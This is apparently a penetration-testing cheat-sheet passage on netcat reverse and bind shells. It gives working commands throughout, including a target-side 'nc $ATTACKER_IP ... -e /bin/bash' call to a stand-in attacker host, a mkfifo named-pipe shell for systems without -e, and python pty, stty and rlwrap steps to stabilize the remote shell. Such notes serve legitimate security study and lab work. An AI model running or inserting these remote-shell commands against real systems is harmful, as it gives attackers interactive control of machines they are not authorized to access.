Example reverse shell:

  • Attacker: nc -lvnp $LISTENER_PORT
  • Target: nc $ATTACKER_IP $LISTENER_PORT -e /bin/bash

It’s also possible to start the listener on the target and then connect from the attacker system; this is sometimes called a “bind” shell:

  • Attacker: nc $TARGET_IP $LISTENER_PORT
  • Target: nc -lvnp $LISTENER_PORT -e /bin/bash

These are almost, but not quite, mirror images of each other.

IMPORTANT

The -e flag (and similar -c flag) is considered a security risk (for obvious reasons!) and is disabled on many systems.

If the -c or -e flags aren’t available (which is normal these days), then named pipes can be used instead:

mkfifo /tmp/p; \
nc -lvnp $LISTENER_PORT < /tmp/p | \
	/bin/sh >/tmp/p 2>&1; \
rm /tmp/p

(Note that it’s also possible to reverse the /bin/sh and nc portions of things; what important is that the named pipe lets us loop I/O between the two applications. See the discussion of msfvenom payloads for a detailed breakdown of this pattern.)

Initial netcat reverse shells (in particular web shells) are non-interactive.

Shell “stabilization”

Shell stabilization

Shell “stabilization” refers to the process of making a remote shell behave like a normal local shell — so, allowing interactive programs to work properly, ensuring that input is not echoed inappropriately, etc. In practice, this generally involves creating a second connection from within the “unstable” shell, and then using that (keeping the first connection around just so you can restart the “stabilized” shell if you accidentally exit/kill it).

A common method of stabilizing netcat shells is to use Python:

  • Start an instance of Bash connected to an actual PTTY: env TERM=xterm python -c 'import pty; pty.spawn("/bin/bash")'
  • Suspend the reverse shell.
  • Use stty raw -echo; fg to switch to raw keycode transmission (so that things like arrow keys get pushed to our remote shell), turn off terminal echo (to prevent seeing commands twice), and foreground the reverse shell.

Note that the stty command can be canceled using reset (after closing the reverse shell). Since echo is turned off, typing this won’t be visible. Trust the force!

The rlwrap package will handle almost all of this for you.

rlwrap -cAr nc -lvnp $PORT

Or just use socat!

IMPORTANT

In none of these cases will the reverse shell pick up on your terminal size, so you’ll need to manually specify it using stty rows and stty cols.

Link to original